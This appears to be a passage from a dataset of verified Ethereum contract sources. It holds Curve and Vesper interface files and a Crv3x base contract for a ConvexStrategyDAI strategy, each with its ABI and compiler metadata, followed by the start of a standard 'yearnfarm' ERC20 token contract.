IAddressList","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newStrategy","type":"address"}],"name":"migrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"oraclePeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oracleRouterIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rebalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receiptToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"removeKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCheckpoint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setupOracles","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapManager","outputs":[{"internalType":"contract ISwapManager","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_fromToken","type":"address"}],"name":"sweepERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"threePool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLp","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalValue","outputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimExtras","type":"bool"}],"name":"updateClaimExtras","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimRewards","type":"bool"}],"name":"updateClaimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCrvSlippage","type":"uint256"}],"name":"updateCrvSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeCollector","type":"address"}],"name":"updateFeeCollector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newPeriod","type":"uint256"},{"internalType":"uint256","name":"_newRouterIdx","type":"uint256"}],"name":"updateOracleConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swapManager","type":"address"}],"name":"updateSwapManager","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapSlippage","type":"uint256"}],"name":"updateSwapSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdRateTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.3+commit.8d00100c | true | 200 | 0000000000000000000000000538c8bac84e95a9df8ac10aad17dbe81b9e36ee000000000000000000000000e382d9f2394a359b01006faa8a1864b8a60d2710 | Default | MIT | false | |||
ConvexStrategyDAI | contracts/interfaces/curve/IStableSwap.sol | 0x6897d2cbf66e317bde74595c455bee09cf144136 | Solidity | // SPDX-License-Identifier: MIT
/* solhint-disable */
pragma solidity 0.8.3;
// Not a complete interface, but should have what we need
interface IStableSwap {
function coins(uint256 i) external view returns (address);
function fee() external view returns (uint256); // fee * 1e10
function lp_token() external view returns (address);
function A() external view returns (uint256);
function A_precise() external view returns (uint256);
function balances(uint256 i) external view returns (uint256);
function get_virtual_price() external view returns (uint256);
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function get_dy_underlying(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external returns (uint256);
function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256);
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 _min_amount
) external;
}
interface IStableSwapUnderlying is IStableSwap {
function underlying_coins(uint256 i) external view returns (address);
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 _min_amount,
bool _use_underlying
) external;
}
interface IStableSwap2x is IStableSwap {
function calc_token_amount(uint256[2] memory _amounts, bool is_deposit) external view returns (uint256);
function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount) external;
function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external;
function remove_liquidity_imbalance(uint256[2] memory _amounts, uint256 _max_burn_amount)
external
returns (uint256);
}
interface IStableSwap3x is IStableSwap {
function calc_token_amount(uint256[3] memory _amounts, bool is_deposit) external view returns (uint256);
function add_liquidity(uint256[3] memory _amounts, uint256 _min_mint_amount) external;
function remove_liquidity(uint256 _amount, uint256[3] memory _min_amounts) external;
function remove_liquidity_imbalance(uint256[3] memory _amounts, uint256 _max_burn_amount)
external
returns (uint256);
}
interface IStableSwap4x is IStableSwap {
function calc_token_amount(uint256[4] memory _amounts, bool is_deposit) external view returns (uint256);
function add_liquidity(uint256[4] memory _amounts, uint256 _min_mint_amount) external;
function remove_liquidity(uint256 _amount, uint256[4] memory _min_amounts) external;
function remove_liquidity_imbalance(uint256[4] memory _amounts, uint256 _max_burn_amount)
external
returns (uint256);
}
interface IStableSwap2xUnderlying is IStableSwap2x, IStableSwapUnderlying {
function add_liquidity(
uint256[2] calldata amounts,
uint256 min_mint_amount,
bool use_underlying
) external;
function remove_liquidity_imbalance(
uint256[2] calldata amounts,
uint256 max_burn_amount,
bool use_underlying
) external;
function remove_liquidity(
uint256 amount,
uint256[2] calldata min_amounts,
bool use_underlying
) external;
}
interface IStableSwap3xUnderlying is IStableSwap3x, IStableSwapUnderlying {
function add_liquidity(
uint256[3] calldata amounts,
uint256 min_mint_amount,
bool use_underlying
) external;
function remove_liquidity_imbalance(
uint256[3] calldata amounts,
uint256 max_burn_amount,
bool use_underlying
) external;
function remove_liquidity(
uint256 amount,
uint256[3] calldata min_amounts,
bool use_underlying
) external;
}
interface IStableSwap4xUnderlying is IStableSwap4x, IStableSwapUnderlying {
function add_liquidity(
uint256[4] calldata amounts,
uint256 min_mint_amount,
bool use_underlying
) external;
function remove_liquidity_imbalance(
uint256[4] calldata amounts,
uint256 max_burn_amount,
bool use_underlying
) external;
function remove_liquidity(
uint256 amount,
uint256[4] calldata min_amounts,
bool use_underlying
) external;
}
/* solhint-enable */ | [{"inputs":[{"internalType":"address","name":"_pool","type":"address"},{"internalType":"address","name":"_swapManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"reason","type":"string"}],"name":"DepositFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldCrvSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newCrvSlippage","type":"uint256"}],"name":"UpdatedCrvSlippage","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousFeeCollector","type":"address"},{"indexed":true,"internalType":"address","name":"newFeeCollector","type":"address"}],"name":"UpdatedFeeCollector","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"oldRouterIdx","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newRouterIdx","type":"uint256"}],"name":"UpdatedOracleConfig","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousSwapManager","type":"address"},{"indexed":true,"internalType":"address","name":"newSwapManager","type":"address"}],"name":"UpdatedSwapManager","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldSwapSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSwapSlippage","type":"uint256"}],"name":"UpdatedSwapSlippage","type":"event"},{"inputs":[],"name":"BOOSTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV_MINTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CVX","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"N","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"NAME","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"addKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approveToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amtNeeded","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"calcWithdrawLpAs","outputs":[{"internalType":"uint256","name":"lpToWithdraw","type":"uint256"},{"internalType":"uint256","name":"unstakeAmt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimableRewards","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coinDecimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coins","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collateralToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"convertFrom18","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"convexPoolId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvGauge","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvLp","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvPool","outputs":[{"internalType":"contract IStableSwapUnderlying","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cvxCrvRewards","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"depositError","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeCollector","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"}],"name":"getLpValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"getLpValueAs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addressListFactory","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isClaimExtras","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isClaimRewards","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"isReservedToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepers","outputs":[{"internalType":"contract IAddressList","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newStrategy","type":"address"}],"name":"migrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"oraclePeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oracleRouterIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rebalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receiptToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"removeKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCheckpoint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setupOracles","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapManager","outputs":[{"internalType":"contract ISwapManager","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_fromToken","type":"address"}],"name":"sweepERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"threePool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLp","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalValue","outputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimExtras","type":"bool"}],"name":"updateClaimExtras","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimRewards","type":"bool"}],"name":"updateClaimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCrvSlippage","type":"uint256"}],"name":"updateCrvSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeCollector","type":"address"}],"name":"updateFeeCollector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newPeriod","type":"uint256"},{"internalType":"uint256","name":"_newRouterIdx","type":"uint256"}],"name":"updateOracleConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swapManager","type":"address"}],"name":"updateSwapManager","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapSlippage","type":"uint256"}],"name":"updateSwapSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdRateTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.3+commit.8d00100c | true | 200 | 0000000000000000000000000538c8bac84e95a9df8ac10aad17dbe81b9e36ee000000000000000000000000e382d9f2394a359b01006faa8a1864b8a60d2710 | Default | MIT | false | |||
ConvexStrategyDAI | contracts/interfaces/curve/ITokenMinter.sol | 0x6897d2cbf66e317bde74595c455bee09cf144136 | Solidity | // SPDX-License-Identifier: MIT
/* solhint-disable */
pragma solidity 0.8.3;
// Not a complete interface, but should have what we need
interface ITokenMinter {
function minted(address arg0, address arg1) external view returns (uint256);
function mint(address gauge_addr) external;
}
/* solhint-enable */ | [{"inputs":[{"internalType":"address","name":"_pool","type":"address"},{"internalType":"address","name":"_swapManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"reason","type":"string"}],"name":"DepositFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldCrvSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newCrvSlippage","type":"uint256"}],"name":"UpdatedCrvSlippage","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousFeeCollector","type":"address"},{"indexed":true,"internalType":"address","name":"newFeeCollector","type":"address"}],"name":"UpdatedFeeCollector","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"oldRouterIdx","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newRouterIdx","type":"uint256"}],"name":"UpdatedOracleConfig","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousSwapManager","type":"address"},{"indexed":true,"internalType":"address","name":"newSwapManager","type":"address"}],"name":"UpdatedSwapManager","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldSwapSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSwapSlippage","type":"uint256"}],"name":"UpdatedSwapSlippage","type":"event"},{"inputs":[],"name":"BOOSTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV_MINTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CVX","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"N","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"NAME","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"addKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approveToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amtNeeded","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"calcWithdrawLpAs","outputs":[{"internalType":"uint256","name":"lpToWithdraw","type":"uint256"},{"internalType":"uint256","name":"unstakeAmt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimableRewards","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coinDecimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coins","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collateralToken","outputs":[{"internalType":"contract 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| v0.8.3+commit.8d00100c | true | 200 | 0000000000000000000000000538c8bac84e95a9df8ac10aad17dbe81b9e36ee000000000000000000000000e382d9f2394a359b01006faa8a1864b8a60d2710 | Default | MIT | false | |||
ConvexStrategyDAI | contracts/interfaces/vesper/IStrategy.sol | 0x6897d2cbf66e317bde74595c455bee09cf144136 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IStrategy {
function rebalance() external;
function sweepERC20(address _fromToken) external;
function withdraw(uint256 _amount) external;
function feeCollector() external view returns (address);
function isReservedToken(address _token) external view returns (bool);
function migrate(address _newStrategy) external;
function token() external view returns (address);
function totalValue() external view returns (uint256);
function pool() external view returns (address);
} | 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| v0.8.3+commit.8d00100c | true | 200 | 0000000000000000000000000538c8bac84e95a9df8ac10aad17dbe81b9e36ee000000000000000000000000e382d9f2394a359b01006faa8a1864b8a60d2710 | Default | MIT | false | |||
ConvexStrategyDAI | contracts/strategies/curve/Crv3x.sol | 0x6897d2cbf66e317bde74595c455bee09cf144136 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "./CrvBase.sol";
abstract contract Crv3x is CrvBase {
uint256 public constant N = 3;
address[N] public coins = [address(0x0), address(0x0), address(0x0)];
uint256[N] public coinDecimals = [0, 0, 0];
constructor(
address _pool,
address _lp,
address _gauge
) CrvBase(_pool, _lp, _gauge) {
_init(_pool);
}
function _init(address _pool) internal virtual override {
for (uint256 i = 0; i < N; i++) {
coins[i] = IStableSwapUnderlying(_pool).coins(i);
coinDecimals[i] = IERC20Metadata(coins[i]).decimals();
}
}
} | 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IAddressList","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newStrategy","type":"address"}],"name":"migrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"oraclePeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oracleRouterIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rebalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receiptToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"removeKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCheckpoint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setupOracles","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapManager","outputs":[{"internalType":"contract ISwapManager","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_fromToken","type":"address"}],"name":"sweepERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"threePool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLp","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalValue","outputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimExtras","type":"bool"}],"name":"updateClaimExtras","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimRewards","type":"bool"}],"name":"updateClaimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCrvSlippage","type":"uint256"}],"name":"updateCrvSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeCollector","type":"address"}],"name":"updateFeeCollector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newPeriod","type":"uint256"},{"internalType":"uint256","name":"_newRouterIdx","type":"uint256"}],"name":"updateOracleConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swapManager","type":"address"}],"name":"updateSwapManager","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapSlippage","type":"uint256"}],"name":"updateSwapSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdRateTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.3+commit.8d00100c | true | 200 | 0000000000000000000000000538c8bac84e95a9df8ac10aad17dbe81b9e36ee000000000000000000000000e382d9f2394a359b01006faa8a1864b8a60d2710 | Default | MIT | false | |||
yearnfarm | yearnfarm.sol | 0x9a74ef656bfb690eafdbd4093146c2a2178e4895 | Solidity | pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
